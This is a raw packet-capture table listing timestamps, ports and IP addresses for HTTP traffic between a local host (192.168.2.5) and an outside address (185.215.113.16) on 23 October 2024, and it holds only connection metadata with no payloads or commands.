Oct 23, 2024 15:48:23.864418983 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.866528034 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.913007021 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.913048983 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.913084030 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.913243055 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.956243992 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.967427015 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.967483997 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.967519045 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.967552900 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.967556000 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.967587948 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.967611074 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.967643023 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.967678070 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.967727900 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.967730045 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.967762947 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.967797041 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.967814922 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.967830896 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.967881918 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.967881918 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.967915058 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.967947960 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.967964888 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.967982054 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.968015909 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.968029976 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.968053102 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.968084097 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.968097925 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.968127966 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.968132973 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.968179941 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.968231916 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.968238115 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.968266964 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.968300104 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.968333006 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.968360901 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.968365908 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.968384027 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.968401909 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.968435049 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.968450069 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.968467951 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.968501091 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.968533993 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.968568087 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.968568087 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.968592882 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.968604088 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.968640089 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.968669891 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.969418049 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.969446898 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.969496012 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.969516993 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.969549894 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.969566107 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.969602108 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.969636917 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.969656944 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.969686985 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.969737053 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.969768047 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.969791889 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.969801903 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.969820023 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.969855070 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.969887972 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.969922066 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.969939947 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.969954967 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.970005989 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.970007896 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.970058918 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.970108986 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.970109940 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.970144987 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.970177889 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.970192909 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.970206022 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.970240116 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.970252037 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.970290899 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.970326900 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.970344067 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.970379114 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.970379114 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.970431089 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.970463991 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.970493078 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.970493078 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.970545053 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.970594883 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.970596075 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.970632076 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.970665932 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.970684052 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.970717907 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.970767975 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.970771074 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.970799923 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.970850945 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.970853090 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.970882893 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.970931053 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.970937014 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.970973015 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.970988989 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.971024990 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.971072912 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.971107960 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.971120119 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.971136093 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.971183062 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.971184969 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.971219063 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.971249104 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.971278906 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.971298933 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.971301079 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.971350908 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.971384048 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.971417904 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.971451044 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.971473932 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.971484900 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.971517086 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.971535921 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.971550941 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.971584082 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.971599102 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.971616983 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.971648932 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.971683025 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.971684933 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.971712112 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.971735001 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.971762896 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.971796036 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.971827984 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.971877098 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.971884966 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.971910000 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.971944094 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.971963882 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.971976995 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.972028017 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.972029924 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.972060919 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.972129107 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.972129107 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.972163916 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.972212076 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.972215891 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.972265959 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.972302914 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.972312927 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.972336054 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.972352982 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.972377062 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.972425938 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.972426891 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.972476959 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.972512007 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.972527981 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.972548008 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.972598076 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.972599030 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.972635984 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.972670078 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.972682953 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.972706079 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.972755909 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.972757101 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.972791910 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.972837925 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.972846031 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.972897053 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.972929955 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.972930908 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.972965002 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.972995043 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.973011971 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.973027945 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.973062992 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.973064899 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.973115921 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.973117113 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.973167896 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.973201036 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.973251104 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.973277092 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.973303080 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.973335981 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.973354101 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.973371983 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.973404884 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.973407030 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.973439932 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.973473072 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.973475933 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.973505974 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.973540068 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.973555088 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.973572016 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.973587036 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.973607063 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.973642111 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.973658085 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.973675966 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.973722935 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.973725080 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.973759890 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.973809958 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.973813057 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.973845005 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.973895073 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.973896980 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.973934889 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.973968029 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.974003077 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.974035978 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.974059105 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.974070072 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.974102020 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.974117041 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.974136114 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.974169016 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.974185944 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.974203110 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.974235058 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.974251986 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.974270105 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.974303961 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.974335909 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.974368095 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.974386930 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.974400997 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.974431038 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.974481106 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.974515915 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.974515915 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.974534988 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.974549055 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.974582911 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.974611044 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.974637985 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.974661112 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.974663019 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.974711895 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.974741936 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.974767923 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.974791050 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.974823952 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.974843979 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.974874020 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.974929094 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.974961996 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.974981070 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.974993944 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.975023031 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.975042105 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.975056887 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.975068092 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.975110054 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.975157976 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.975161076 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.975191116 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.975240946 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.975249052 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.975281954 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.975332022 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.975339890 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.975366116 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.975415945 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.975418091 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.975449085 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.975483894 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.975523949 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.975548029 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.975552082 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.975572109 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.975603104 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.975636959 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.975652933 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.975675106 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.975713968 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.975725889 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.975764990 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.975800991 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.975822926 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.975831032 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.975883007 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.975907087 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.975935936 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.975986004 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.976021051 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.976043940 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.976053953 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.976084948 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.976088047 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.976121902 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.976170063 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.976175070 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.976224899 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.976259947 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.976285934 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.976294041 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.976313114 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.976347923 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.976380110 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.976380110 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.976402998 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.976409912 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.976423979 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.976444960 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.976479053 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.976511955 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.976521015 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.976546049 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.976561069 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.976597071 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.976645947 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.976679087 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.976684093 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.976728916 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.976758003 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.976763010 CEST	80	49713	185.215.113.16	192.168.2.5
